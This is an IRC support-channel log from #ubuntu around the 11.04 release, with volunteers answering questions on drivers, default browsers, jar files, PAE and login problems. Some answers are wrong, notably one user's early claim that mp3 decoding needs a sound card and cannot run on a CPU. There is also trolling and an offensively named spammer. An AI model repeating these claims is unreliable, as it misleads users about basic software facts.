[03:37] <rww_> uofm49426: because Ubuntu installs a range of Xorg drivers that fit most cards by default
[03:37] <gruvfunk> greetings, I have a 10.04 server (headless, no sound card) running web, mail and pbx - I can't get mp3 audio playback to work via the pbx and left wondering:   Do I need a sound card?  Or am I missing something?
[03:37] <pfifo> does upstart have the ability to run a job as a user other than root? keep in mind, su is not upstart and sudo is not upstart
[03:38] <ubusammyn150> you need a sound card
[03:38] <ubusammyn150> mp3 is encoded and decoded there
[03:38] <loller> if you used Windows you wouldn't need to configure a sound card manually
[03:38] <loller> it would just work out of the box
[03:38] <ubusammyn150> no cpu instruction sets are availble for mp3 codecs yet
[03:38] <multipass_> is it possible to have gnome and gnome3, and switch between them at login?
[03:38] <ubusammyn150> loller stfu
[03:38] <loller> mp3 codecs are included with Windows
[03:39] <loller> why not with Ubuntu?
[03:39] <rww_> loller: stop trolling
[03:39] <rww_> ubusammyn150: stop feeding trolls
[03:39] <uofm49426> i wish ubuntu wouldnt i only have a 3.6 gb of extra space
[03:39] <ubusammyn150> he would still need a sound card
[03:39] <ubusammyn150> lol
[03:39] <gruvfunk> ubusamyn150 thx   and rofl looler
[03:39] <loller> yeah
[03:39] <atlgeorge> q from a ubuntu noob...
[03:39] <ubusammyn150> rww, how am i feeding i want to stop feeding?
[03:39] <loller> try learning to read
[03:39] <atlgeorge> i've got a pkg installed that requires access to port 8010
[03:39] <atlgeorge> but even though the port seems to work by doing a wget locally
[03:40] <rww_> ubusammyn150: "stfu" is neither acceptable language in here nor a good way to stop trolls from talking.
[03:40] <atlgeorge> i can't access from something hitting my AWS instance... ideas?
[03:40] <ubusammyn150> agree
[03:40] <ubusammyn150> sorry
[03:40] <multipass_> is it possible to have gnome and gnome3, and switch between them at login?
[03:40] <uofm49426> 40 gb harddrive half windows haft ubuntu
[03:41] <gruvfunk> rww_ doesn't that just mean Stop Trolling Freenet Ubuntu ?
[03:41] <gruvfunk> Freenode rather
[03:41] <wilfredo> decompensation, I'm not clear on the term
[03:42] <Mac102250> Hey guys, new guy here. So deleted a user and now the damned machine keeps trying to log onto the deleted user, and I get stuck on a screen showing nothing but my desktop backgreound. So what am I doing wrong?
[03:43] <linuxdemon> question. how do i uninstall programs
[03:43] <uofm49426> anyone in here make package for ubuntu
[03:44] <taglass> linuxdemon: synaptic or apt-get remove "programname"
[03:44] <tensorpudding> linuxdemon: search for them in the software center and remove
[03:44] <frankcox777> howdy
[03:44] <mar7ar> !!!!!!!!!!who could help me i have typed by error apt-get remove libusb* then every thing is broken even lan and cd driver so i couldn`t use internet nor use apt-cdrom as source who could help me !!!!!!!!!!!!!!!!
[03:44] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[03:45] <Mac102250> Anyone? C'mon, I need some help here.
[03:45] <linuxdemon> thank you very much
[03:45] <linuxdemon> will there be an update alert for unity on the 28th?
[03:45] <uofm49426> i want a easy way bridge wifi and ethernet
[03:45] <infoloco> hi, I am looking for a software to watch tv on ubuntu, with a tv tuner card.. Suggestions?
[03:45] <Squall5668> Mac102250 please specify, it's trying to login to the deleted user on it's own?
[03:46] <BrumDart> Mac102250: how did you delete the user?
[03:46] <Mac102250> When I turn on the computer, it tries to log directly onto the deleted user
[03:46] <Squall5668> which user did you delete? one you made yourself, or one of the premade ones? :)
[03:46] <taglass> Mac102250: Have a look at /etc/gdm/custom.conf
[03:47] <Mac102250> BrumDart: I clicked the admin tab and went down to the very bottom and clicked "User Groups" or something like that
[03:47] <ubusammyn150> ok where is the config files for synaptic/install update?
[03:48] <Loshki> mar7ar: that's a hard one to recover from. You might have to reinstall from scratch.
[03:48] <Loshki> !tv | infoloco
[03:48] <ubottu> infoloco: http://www.linuxtv.org/ has extensive information about using TV cards under Linux. Available viewers for analog cards: Zapping, tvtime (GTK/GNOME), Kaffeine, kdetv (KDE), xawtv, motv. For digital cards: Me-TV (GNOME), Klear (KDE), dvb-utils. For both analog and digital cards, !MythTV is a powerful framework. Your card may work the !IVTV drivers. See also !TV-Out
[03:48] <ubusammyn150> for some reason update and all commands in terminal refer to E: drive or an internet connection, someone remotely connected and messed up my system
[03:48] <uofm49426> how do i tell video ram used i ubuntu
[03:48] <infoloco> ok perfect
[03:48] <taglass> Mac102250: The file I gave you controls automatic login.
[03:48] <infoloco> thks alot
[03:48] <Mac102250> Oh?
[03:48] <uofm49426> i have a intel i915gm
[03:48] <taglass> /etc/gdm//custom.conf
[03:49] <ubusammyn150> So how do i restore the config files?
[03:49] <ubusammyn150> hm
[03:49] <frankcox777> Mac10
[03:49] <frankcox777>  http://www.hauppauge.com/pages/faq/support_faq_linux.html
[03:50] <frankcox777> sorry-infoloco was looking for tuner software
[03:50] <rapeman> rapeman: Welcome to #ubuntu! #ubuntu is the cool place to hang out. You can find most of the cool people there. In #ubuntu you can just chill and do whatever and totally relax. "Take it easy" is the #ubuntu motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends.
[03:50] <atlgeorge> with ubuntu on an AWS instance... ubuntu firewall disabled, aws security group set to wide open (0-65535 on 0.0.0.0/0), is there any reason i shouldn't be able to connect to a port by hitting my AWS IP?
[03:50] <mfilipe> I'm using a generic-pae kernel and I want apply a patch on him. I will install linux-source and kernel-package but how do I do to active PAE support?
[03:50] <Spaz_Dynamic> I boot my computer, and get dumped to tty2. switching to tty7 shows that most things loaded (I think). I log in to tty2 and running startx gives me a segfault, and says that the server is aborting.
[03:51] <frankcox777> Infoloco -here is a link for Hauppauge cards
[03:51] <frankcox777> http://www.hauppauge.com/pages/faq/support_faq_linux.html
[03:51] <oscar-linux> has anyone has found something interesting on ubuntu 11.04?
[03:51] <hiexpo> mfilipe, there is no support using pae
[03:51] <syntaur> atlgeorge: You sure the program isn't binding to localhost or something?
[03:52] <rww_> mfilipe: just use the PAE kernel package...
[03:52] <Mac102250> taglass: How do I edit the file? It skips and goes straight the the deleted account, and I'm unable to do anything.
[03:52] <rww_> !pae
[03:52] <ubottu> To use more than ~3.2GB RAM on a 32bit system you can install the PAE-enabled kernel. See https://help.ubuntu.com/community/EnablingPAE for more info
[03:52] <atlgeorge> so sorry, whoever was kind enough to reply... i accidnetally termed my channel window, can you pls repost?
[03:52] <frankcox777> can anyone tell me how to take a version of a game from one Ubuntu install and put it in another with the same program-different version?
[03:52] <taglass> Mac102250: I would change AutomaticLoginEnable=true to false
[03:52] <syntaur> atlgeorge: No prob :P You sure the program isn't binding to localhost or something?
[03:52] <rww_> atlgeorge: 02:51:58 < syntaur> atlgeorge: You sure the program isn't binding to localhost or something?
[03:53] <rww_> ah, nvm :)
[03:53] <mfilipe> rww_, but linux-source package hasn't pae enabled
[03:53] <Squall5668> Mac102250 you can press ctrl+alt+f1 to drop to tty1
[03:53] <rww_> !pae > mfilipe
[03:53] <ubottu> mfilipe, please see my private message
[03:53] <Mac102250> Oh
[03:53] <mfilipe> hum... ok
[03:53] <mfilipe> thanks
[03:53] <atlgeorge> syntaur: i'd be surprised, but it's worth a look. we've run this away from AWS without issues like that... but who knows.
[03:55] <ubusammyn150> ubuntu has no pae?
[03:55] <cc11rocks> can you upgrade from Ubuntu Beta 11.04 to official version?
[03:55] <syntaur> atlgeorge: That's all I can think of. If firewall isn't interfering, and you can access it locally, but not remotely.
[03:55] <cc11rocks> do you lose any data?
[03:55] <rww_> !final | cc11rocks
[03:55] <ubottu> cc11rocks: If you install a development version of Ubuntu Natty and keep up with package updates, then you will be upgraded to the official release of 11.04 when it comes out. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.
[03:56] <gruvfunk> ubusammyn150 https://help.ubuntu.com/community/EnablingPAE
[03:56] <atlgeorge> syntaur: worth a shot, thx, it'll take some code archaeology, unfortunately (not my code, of course)
[03:56] <cc11rocks> ty
[03:56] <hcook> hey guys. i'm looking to install a 32 bit program (Guitar Pro 6) on 10.10 AMD64 with a wrapper. the only doc i found about this was really old: http://ubuntuforums.org/showthread.php?t=24575 ...just wondering whether that information is still valid and/or whether anybody had a pointer to something more appropriate.
[03:56] <cordoval_> anyone knows how to default browser on ubuntu 11.04? I want to set it chrome as default as it was before the upgrade changed it to firefox? any command or setting?
[03:56] <ubusammyn150> cool
[03:56] <cc11rocks> remove firefox
[03:57] <cordoval_> is that the only way?
[03:57] <cordoval_> i want to keep it just in case
[03:57] <cordoval_> not all works on chrome you know
[03:57] <Mac102250> Squall5668, taglass...You've both been tremendously helpful. Thank you.
[03:57] <cc11rocks> to make vlc media player default, i had to remove all the media apps that came w/ it
[03:57] <ravibn> Unable to capture audio and record in gnome-sound-recorder ver 2.31 Maverick 10.10
[03:57] <Squall5668> anytime Mac
[03:57] <frankcox777> can any one tell me how to take a game out of one ubuntu install and copy it to another? The other install has a version of the same game already
[03:57] <ravi> hey guys ..
[03:57] <ravi> had a question ..
[03:57] <cordoval_> anyone how to set default browser on 11.04
[03:57] <stravant> I have a problem with mounting USB drives. Ubuntu always used to automatically mount USB sticks when I plugged them in, but it suddenly isn't anymore. I have already checked the /automount-stuff key in gconfig and it is set to true. How should I proceed now to figure out what's wrong?
[03:57] <stravant> These other things also stopped working around the same time (maybe at the same time?): My deskop is stuck automatically setting "keep desktop organized by name" when I log in. Also, Nautilus is all of a sudden taking forever to open large folders, when it was virtually instant before.
[03:57] <ravi> is 11.04 a LTS ?
[03:57] <cordoval_> what is the name for 11.04?
[03:58] <rww_> ravi: no
[03:58] <Squall5668> cordoval_ natty narwal
[03:58] <Spaz_Dynamic> natty
[03:58] <cordoval_> natty
[03:58] <cordoval_> anyone knows how to set default browser on natty?
[03:58] <ravi> rww_, any known bugs with 11.04?
[03:58] <rww_> ravi: yes
[03:58] <ravi> if going from 10.04 - 11.04
[03:58] <Squall5668> cordoval_ try "update-alternatives –config x-www-browser"
[03:58] <cordoval_> i had a similar problem with usb yesterday
[03:58] <rww_> ravi: 10.04 to 11.04 requires going through 10.10 first.
[03:58] <Squall5668> cordoval_ if should ask for a default browser
[03:58] <ravi> :(
[03:59] <piovisqui> 7/topic
[03:59] <ravibn> Unable to capture audio and record in gnome-sound-recorder ver 2.31 Maverick 10.10
[03:59] <cordoval_> updaterelatives
[03:59] <ravibn> pl help
[03:59] <fieris> exit
[03:59] <cordoval_> why ?
[03:59] <cordoval_> why '?'
[03:59] <ravi> any1 tried 11.04 on a thinkpad?
[03:59] <stravant> cordoval_: Did you find any solutions?
[03:59] <ravi> i had trouble with 10.10
[03:59] <cc11rocks> well yesterday when i was doing some stuff, my main HDD stopped showing up
[03:59] <ravi> on a lenovo
[03:59] <cordoval_> yes mount it manually and perhaps it can work after a reset, check permissions too
[04:00] <cc11rocks> when i tried to set VLC media player as default, i kept getting error messages
[04:00] <cordoval_> update-alternatives -config x-www-browser
[04:00] <Squall5668> you asked how to change default browser didn't you? that command will ask for a browser to use at gnome gui tools
[04:00] <cc11rocks> it was working and then just took a dump
[04:00] <Spaz_Dynamic> I boot my computer, and get dumped to tty2. switching to tty7 shows that most things loaded (I think). I log in to tty2 and running startx gives me a segfault, and says that the server is aborting.
[04:00] <ravibn> ravi : search for ramsrambo in ubuntu Forums under Dell
[04:01] <ravi> why dell ravibn
[04:01] <ravi> ?
[04:01] <ravibn> Unable to capture audio and record in gnome-sound-recorder ver 2.31 Maverick 10.10 Pl help
[04:01] <cordoval_> update-alternatives --config x-www-browser
[04:01] <cordoval_> sudo of course
[04:01] <ravi> i have a lenovo ..
[04:01] <Squall5668> yes, sorry
[04:01] <ravibn> ravi : bcos I had few problems while installing on latitude
[04:02] <taglass> cordoval_: you might have to do gnome-www-browser as well
[04:02] <ravi> oh ..
[04:02] <ravi> not good
[04:02] <cordoval_> oh thanks
[04:02] <cordoval_> will check
[04:02] <ravi> i guess ill have to stick with 10.04 :(
[04:02] <ravi> i was so excited
[04:02] <Squall5668> tell us if that solves your problem
[04:02] <cordoval_> ravi don't
[04:02] <as2000> will I have to re-install after the release tomorrow?
[04:02] <rww_> as2000: no, you can upgrade
[04:02] <ravibn> Any one Here : Unable to capture audio and record in gnome-sound-recorder ver 2.31 Maverick 10.10
[04:03] <cordoval_> give me a url
[04:03] <ravibn> or suggest any other sound recorder
[04:03] <cordoval_> http://www.pastie.org
[04:03] <hiexpo> rww_, gonna get busy
[04:03] <Spaz_Dynamic> I boot my computer, and get dumped to tty2. switching to tty7 shows that most things loaded (I think). I log in to tty2 and running startx gives me a segfault, and says that the server is aborting. How can I resolve the segfault and get a GUI running again?
[04:03] <ravi> i can upgrade without issues?
[04:03] <cordoval_> ahh still firefox pops up
[04:03] <cordoval_> rats!
[04:04] <celestial> hi everyone i have a question is there a filesystem like ntfs for linux that dont have file permissions blocking from use on other computers for me the ntfs driver seems to be slow
[04:04] <slimdoogi> hi i was trying to find a graphics driver but cannot determin my actual hardware. this is what i get in lshw. http://pastebin.com/0ck07caE   is there any other option to find my exact hardware?
[04:04] <cordoval_> perhaps I need to restart
[04:04] <Squall5668> cordoval_ what was the command msg? any errors?
[04:04] <cordoval_> command msg for what?
[04:04] <brianous> hi
[04:04] <cordoval_> no errors
[04:04] <brianous> how many hours to ubuntu? :D
[04:04] <cordoval_> 0 auto chrome
[04:05] <cordoval_> 1 manual ff
[04:05] <rww_> brianous: it'll be released when it's done, not at a set time
[04:05] <cordoval_> 2 manual chrome
[04:05] <Squall5668> what did you change it to?
[04:05] <hcook> based on what i've seen of the blendtech i'm pretty sure it'll blend
[04:05] <hcook> woops
[04:05] <cordoval_> to 2 and then now to 0
[04:05] <taglass> cordoval_: I'm not sure, but maybe you can pick chrome in the Preferred Applications gui?
[04:05] <hcook> sorry wrong tab
[04:05] <Spaz_Dynamic> hcook: +1
[04:05] <brianous> oh I thought there was a countdown
[04:05] <cordoval_> where is that?
[04:05] <cordoval_> preferred
[04:05] <brianous> came to join the party
[04:05] <taglass> cordoval_: System Settings
[04:05] <hcook> hey guys. i'm looking to install a 32 bit program (Guitar Pro 6) on 10.10 AMD64 with a wrapper. the only doc i found about this was really old: http://ubuntuforums.org/showthread.php?t=24575 ...just wondering whether that information is still valid and/or whether anybody had a pointer to something more appropriate.
[04:06] <cordoval_> how to get there, this is natty I don't know where things went
[04:06] <virusuy> anyone knows when (hour) is natty launched ?
[04:06] <cc11rocks> i code in java...how do you start jar files?
[04:06] <Squall5668> cordoval even though we don't support natty here, try searching :)
[04:06] <taglass> click on your name in the top right of screen
[04:06] <cc11rocks> in windows all i have to do is double click it...
[04:06] <brianous> java -d classpath name.jar
[04:06] <cordoval_> just got it
[04:06] <mickster04> !who
[04:06] <ubottu> As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :)
[04:06] <taglass> err I'm sorry on the power button
[04:06] <cordoval_> had to search it the natty way
[04:06] <taglass> bottom entry
[04:07] <cordoval_> well thanks for that
[04:07] <cordoval_> give me http://www.pastie.org
[04:07] <cordoval_> ok now it is solved
[04:07] <cc11rocks> thanks
[04:07] <cordoval_> nice
[04:07] <ryan_> is there a specific channel to get support for errors? (specifically with ubuntu)
[04:07] <cordoval_> I like natty
[04:07] <FloodBot2> cordoval_: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[04:07] <cordoval_> sorry
[04:07] <Squall5668> glad it's fixxed, and thanks taglass, i have to stop being a CLI warrior :)
[04:08] <Herbs> hi all, have an ubuntu box that keeps respawning basically tty1 seems to be crashing and constantly respawning anyone got any ideas Im flumoxed
[04:08] <cc11rocks> how do i make an executable jar file? in windows it works but in Ubuntu it says it's not executable and that i need a script
[04:08] <cc11rocks> do i have to use scripts?
[04:08] <Spaz_Dynamic> cc11rocks: have you set the permissions?
[04:08] <Squall5668> Herbs, did you try booting in recovery mode?
[04:08] <cc11rocks> permissions for?
[04:08] <ryan_> hey everyone, i just set up ubuntu on my new lenovo thinkpad and the mouse is going crazy, i jumps all over the screen and I have to restart the laptop to fix it... what the heck can I do to fix this, i'm very new to ubuntu
[04:08] <cc11rocks> Ubuntu?
[04:08] <Herbs> oops forgot to mention thats when you try to login single user works fine
[04:09] <slimdoogi> cc11rocks, sudo chmod +x /your/file
[04:09] <cc11rocks> java?
[04:09] <Spaz_Dynamic> cc11rocks: the jar file
[04:09] <cordoval_> I used to have indicators on 10.10 on the pannels how do I get them back? I had temperature sensors and my messages would popup or windows for me to select
[04:09] <BrumDart> cc11rocks: you need to change the permissions of the file to be executable
[04:09] <cordoval_> can i still have pannels?
[04:09] <slimdoogi> cc11rocks, in termional of course
[04:09] <Squall5668> ryan_ try this https://help.ubuntu.com/community/SynapticsTouchpad
[04:09] <cc11rocks> oh...so just right click it, properties *cuts off*
[04:10] <cc11rocks> can i do it through the GUI?
[04:10] <Minimal> Hey any1 knows how long till the 11.04 realse??
[04:10] <cc11rocks> or terminol?
[04:10] <cc11rocks> no Minimal
[04:10] <rww_> !countdown
[04:10] <ubottu> Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[04:10] <cc11rocks> !countdown
[04:10] <celthunder> cc11rocks: java -jar <file>
[04:10] <cc11rocks> doesn't work
[04:10] <Minimal> :(
[04:10] <Minimal> I know its the 28th but acording to what time zone ? :(
[04:10] <celthunder> or javacc i think works
[04:10] <cc11rocks> celthunder...and that makes it an executable jar?
[04:10] <cordoval_> I can be distracted in a content and forget about things I was doing, that is why I think panels were useful
[04:10] <Herbs> sorry Squall5668 forgot to mention thats when trying to login when it tries to authenticate the user tty1 dies and respawns its an 8.04 server (not mine)
[04:11] <cordoval_> now with natty I can't keep track of other things
[04:11] <cordoval_> how to solve it?
[04:11] <BrumDart> cc11rocks: that wont make it executable, that will just run the jar from a command line
[04:11] <cc11rocks> so i just have to jar it up in Ubuntu instead of Windows right?
[04:11] <cordoval_> dropbox icon running does not show either
[04:11] <cordoval_> skype does but hardly
[04:11] <Squall5668> Herbs: so, what about "recovery mode"
[04:11] <cc11rocks> so how do i make it an exe jar?
[04:11] <Squall5668> Herbs: did you try it?
[04:11] <cc11rocks> it's an exe in Windows
[04:11] <cc11rocks> i thought Java was multi-platform
[04:11] <Spaz_Dynamic> cc11rocks: are you talking about minecraft, by chance?
[04:11] <Spaz_Dynamic> xD
[04:12] <celthunder> it is
[04:12] <cc11rocks> i don't have any OS specific things in my code
[04:12] <slimdoogi> cc11rocks, did u not get the command i typed to u?
[04:12] <cc11rocks> mincraft is?
[04:12] <cc11rocks> a game?
[04:12] <BrumDart> cc11rocks: slimdoogi posted a solution earlier
[04:12] <BrumDart> chmod +x jarfile
[04:12] <Herbs> sorry Squall5668 single user logins in fine the permissions on dev/tty1 look fine and the script in /etc/events.d/tty1 looks fine also
[04:13] <cc11rocks> okay cool...so to be clear, BrumDart, that is the answer?
[04:13] <Spaz_Dynamic> and then
[04:13] <Spaz_Dynamic> java -jar /path/to/your/file.jar
[04:13] <cc11rocks> i know the second part
[04:13] <cordoval_> also I can't zoom like i used to with the windows key
[04:13] <cordoval_> it used to zoom the whole desktop in and out
[04:13] <cc11rocks> i make JARs through CLI in Windows
[04:13] <Squall5668> Herbs: you still haven't answered my question, Did you try booting in recovery mode? if you don't know how to, please ask me
[04:13] <cordoval_> and now that feature is gone!!!!!!!!!!!!11
[04:13] <cordoval_> rats!
[04:14] <Herbs> sorry Squall5668 single user is recovery mode
[04:14] <BrumDart> cc11rocks: i always run jar files from the command line anyway, i've never tried just double clicking one from inside the file manager
[04:14] <cordoval_> i want to like natty, but not sure how to do some things
[04:14] <cordoval_> is there a tutorial on how to handle it better?
[04:14] <xsinick_laptop> when is the ubuntu relase?
[04:14] <cordoval_> any natty tutorial?
[04:14] <cc11rocks> well, i distribute to users
[04:14] <wilfredo> I get a message saying decompensation, I have installed an AMD Phenom AMD a motherboard ECS ELITEGROUP MCP61M-M3 and when I install Ubuntu gives me eror what does that mean? I have also installed a 1GB DDR3 memory ADATA brand, has a hard disk of 160 gb samsumg brand
[04:14] <xsinick_laptop> is it at 12:am
[04:14] <taglass> cordoval_: There are some videos on youtube people have posted
[04:14] <cc11rocks> they don't want to use CLI
[04:14] <rww_> xsinick_laptop: it's not at a set time
[04:15] <cordoval_> going to check now
[04:15] <cordoval_> thanks
[04:15] <celthunder> cc11rocks: add a shebang to it? idk if that'd work or not
[04:15] <celthunder> just an idea
[04:15] <cordoval_> will they be enough, I just wonder
[04:15] <cc11rocks> shebang?
[04:15] <sdegutis> im using an irc client.
[04:15] <cordoval_> how to search "natty"?
[04:15] <cc11rocks> what is that?
[04:15] <Spaz_Dynamic> I require assistance. I boot my computer, and get dumped to tty2. switching to tty7 shows that most things loaded (I think). I log in to tty2 and running startx gives me a segfault, and says that the server is aborting. How can I resolve the segfault and get a GUI running again?
[04:15] <celthunder> cc11rocks: #!/usr/bin/java -jar  at the top of the file
[04:15] <cordoval_> alpha 3?
[04:15] <BrumDart> cc11rocks: will the other users be running the jar on a windows or linux system?
[04:15] <Herbs> sorry Squall5668 and I told you I tried single user and that works fine
[04:15] <cc11rocks> both
[04:16] <cdoktor19> where to download ubuntu 11.04 release ?????
[04:16] <celthunder> probably wouldn't work as that's not even java but :/ i just run mine from the cli
[04:16] <Herbs> sorry Squall5668 whats your experience no offence Im a 2nd line Linux engineer
[04:16] <rww_> cdoktor19: it's not out yet
[04:16] <xsinick_laptop> rww_: it's exactly april 29th  like after 12 tonight would I be available as said on the site?
[04:16] <ChogyDan> Spaz_Dynamic: have you checked /var/log/Xorg.0.log?
[04:16] <cdoktor19> aw aw aw
[04:16] <cc11rocks> add  "#!/usr/bin/java -jar" to the manifest file?
[04:16] <Squall5668> Herbs: mine is probably worse :)
[04:16] <rww_> xsinick_laptop: it'll be released sometime between now and when it stops being April 28th everywhere in the world.
[04:16] <taglass> cc11rocks: Try looking at http://standards.freedesktop.org/desktop-entry-spec/desktop-entry-spec-latest.html  You could make a clickable icon that way.
[04:16] <rww_> assuming it isn't delayed :3
[04:17] <cdoktor19> are 28 April now
[04:17] <bloopletech> Think of the release date more as a guide than a statement of actual temporal certainty
[04:17] <cc11rocks> April 28 for me in 4 hours
[04:17] <BrumDart> cc11rocks another solution would be to make a 2 line bash script that will launch the jar file
[04:17] <wilfredo> q slow write apology for speaking Spanish
[04:17] <cordoval_> que cosa?
[04:17] <cordoval_> como que apologies?
[04:17] <cc11rocks> not familiar with bash script
[04:17] <rww_> !es
[04:17] <ubottu> En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[04:17] <Spaz_Dynamic> ChogyDan: yeah, I don't know what to look for though. it points out the segfault near the bottom as well
[04:17] <cc11rocks> similar to batch script? i know what it is
[04:17] <xsinick_laptop> for me in an hour and it's 28th
[04:17] <cc11rocks> just don't know for to code
[04:18] <Herbs> I get lost with the differences in Ubuntu sometimes becaue Im so used to Red hat based distros
[04:18] <ChogyDan> Spaz_Dynamic: is this a new install?
[04:18] <xsinick_laptop> US eastern time is the time everyone runs on
[04:18] <cdoktor19> ohhhh, i think they copy to all server in the world now
[04:18] <rww_> !countdown
[04:18] <ubottu> Please remember that #ubuntu, #kubuntu, #xubuntu, and #edubuntu are support channels. To countdown to Natty release and then party once it happens, join #ubuntu-release-party - For in-person parties, see http://loco.ubuntu.com/events/global/744/detail/
[04:19] <hiexpo> gonna be alotof problems in the beginning for 11.04   >   servers gonna be overwhelmed  and lots of bad md5sum's
[04:19] <cc11rocks> Ubuntu 11.04 is NOT online yet...
[04:19] <cc11rocks> countdown
[04:19] <cc11rocks> !countdown
[04:19] <cc11rocks> doesn't work
[04:19] <Spaz_Dynamic> ChogyDan: somewhat. I did install it yesterday, but I also set my graphics driver to proprietary and attempted to update to 11.04
[04:19] <taglass> xsinick_laptop: I know redhat releases are EST based.  I would assume Canonical are using GMT though?
[04:19] <|SonGoku|> Buenas noches..
[04:19] <Spaz_Dynamic> ChogyDan: after the update though, i get this.
[04:19] <celestial> can anyone help filesystem with no permissions like ntfs but native linux
[04:20] <|SonGoku|> Alguien habla español ?
[04:20] <tripelb> re how to play this video: video formats vob bup ifo - this is what I have. what do I do? There are lots of files instead of one AVI file. Normally I like to use VLC
[04:20] <ChogyDan> Spaz_Dynamic: I suggest reinstalling
[04:20] <rww_> cc11rocks: please use #ubuntu-release-party for Ubuntu release-related comments ;)
[04:20] <rww_> |SonGoku|: /join #ubuntu-es
[04:20] <Spaz_Dynamic> !es |SonGoku|
[04:20] <ubottu> SonGoku|: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[04:20] <BrumDart> cc11rocks: i'll throw an example into a pastebin for you
[04:20] <|SonGoku|> thanks!!!!
[04:20] <hiexpo> !es |SonGoku|
[04:20] <taglass> tripelb: That's a dvd.
[04:21] <tripelb> taglass. I downloaded it from the internet. it's all in a directory. what do I do to play it? thanks
[04:21] <cc11rocks> thanks
[04:21] <Spaz_Dynamic> ChogyDan: bah, really?
[04:21] <temporarytao> hi, can anyone point me where to find help adding postgresql support to my LAMP setup?
[04:21] <cc11rocks> what's the address? or you'll give it to me in a minute
[04:21] <cc11rocks> ?
[04:21] <wilfredo> thanks for your help tomorrow, I have to leave my home, I was late luck at all
[04:21] <tripelb> taglass, do I have to make an iso file out of it. I'm so ignorant.
[04:21] <rww_> timccc: tell VLC to open disc and point it to the directory you have
[04:21] <rww_> tripelb: ^^
[04:21] <rww_> timccc: sorry, mistab
[04:21] <tripelb> rww_, thanks
[04:21]  * tripelb just loves this channel.
[04:22] <ChogyDan> Spaz_Dynamic: yeah.. it is the fastest solution
[04:22] <cdoktor19> can some one tell me what version must i download i386 or amd64 my processor is Intel Core2Duo T6570 i read in cpu test its 64-bit processor
[04:22] <BrumDart> cc11rocks: http://pastebin.com/UXwtqWwi
[04:22] <celthunder> cdoktor19: amd64
[04:23] <cc11rocks> thanks BrumDart...how to PM?
[04:23] <celthunder> though you can run either...no reason not to run 64 if you can
[04:23] <timccc> rww_: when you beeped me, my VLC paused
[04:23] <Spaz_Dynamic> ChogyDan: Eh, alright. I have a separate /home partition, when installing, how do I make it so that it doesn't install a new one and uses the old one as my ~
[04:23] <timccc> how does that work?
[04:23] <evilsushi> anyone here familiar or is using duplicity for backups? how far has it scaled for you? would you use this in a enterprise environment?
[04:23] <cc11rocks> !BrumDart Testing
[04:23] <timccc> ha
[04:23] <celthunder> Spaz_Dynamic: setup the partitions and don't format /home?
[04:23] <cdoktor19> even my processor not AMD based ?
[04:23] <tripelb> rww_, wow I can do the same thing then with the iso file from the dvd I copied -- then destroyed the original so I cant read it. Oh my Ponyo will be saved.
[04:23] <temporarytao> cdoktor19, be warned though. i think flash isn't that great with 64 flavor yet
[04:23] <Spaz_Dynamic> celthunder: alright, thanks. I've just never done it before so I wasn't 100% certain.
[04:23]  * tripelb dances a bit.
[04:24] <celthunder> cdoktor19: yeah it's fin
[04:24] <celthunder> temporarytao: flash works fine...just make a 32 bit chroot or use multilib
[04:24] <temporarytao> celthunder, i stand corrected
[04:25] <temporarytao> tripelb, loved that movie. good thing you saved it
[04:25] <cdoktor19> how to make a 32 bit chroot ??? am newbie
[04:26] <cdoktor19> how to make a 32 bit chroot or multilib which is the easy way,
[04:26] <Herbs> cdoktor I would advise you learn what chroot does first
[04:26] <celthunder> cdoktor19:  multilib is probably easier then unless you want to seperate 32 bit apps from 64 and since you don't seem to care...
[04:27] <cdoktor19> oh
[04:28] <temporarytao> cdoktor19, that's a bit involved. probably best if you stick with 32 bit first, IMHO.
[04:28] <devkorcvince> any issues on updating 10.10 64 -> 11.04 64?
[04:28] <cordoval_> can i install effects on natty?
[04:28] <cordoval_> sounds the youtube video had effects
[04:29] <cordoval_> was that compiz or some other?
[04:29] <Herbs>  hi all, I have an 8.04 box (not mine) that is failing to login as tty1 is respawning whenever a user is being authenticated, /etc/events.d/tty1 looks ok script content and permissions /dev/tty1 also anyone got any ideas Im lost with this one
[04:29] <ChogyDan> Spaz_Dynamic: just use manual partitioning, and make sure /home isn't formatted
[04:29] <cordoval_> how about copying pasting from the terminal with few keystrokes without having to do the ctrl+c +v thing?
[04:30] <cdoktor19> ok i will fin some information about multilib and how to make a 32 bit chroot, are some one have a link to that page ?
[04:30] <ChogyDan> cordoval_: I use middle click
[04:30] <Herbs> I did think the ownerships of /bin/login were iffy but changing them on test boxes has no affect
[04:31] <cordoval_> anyone knows how to copy paste from the terminal to elsewhere? I highlight but then what?
[04:31] <cordoval_> my mouse has not middle click
[04:31] <cordoval_> or it does the wheel
[04:31] <cordoval_> ?
[04:31] <cordoval_> but is that the way?
[04:31] <crapsh> HI!
[04:31] <ChogyDan> cordoval_: maybe with the wheel, or maybe emulated by pressing both at the same time
[04:31] <cordoval_> oh yeah it works
[04:31] <bloopletech> cordoval_: click both buttons at once
[04:31] <cordoval_> thanks
[04:31] <cordoval_> the wheel is hard though
[04:31] <cordoval_> but simpler
[04:31] <cdoktor19> [ 3551.409037] pwrdown, 0x6(BIT6)=ff
[04:31] <cdoktor19> [ 3551.514123] rtl819xSE:No more TX desc@6, ring->idx = 0,idx = 0, skblen = 0x2a
[04:31] <cdoktor19> [ 3551.514131] rtl819xSE:No more TX desc@6, ring->idx = 0,idx = 0, skblen = 0x2a
[04:31] <cdoktor19> [ 3551.625982] rtl819xSE:No more TX desc@6, ring->idx = 0,idx = 0, skblen = 0x2a
[04:31] <cdoktor19> [ 3551.625989] rtl819xSE:No more TX desc@6, ring->idx = 0,idx = 0, skblen = 0x2a
[04:31] <cdoktor19> [ 3553.415696] pwrdown, 0x6(BIT6)=ff
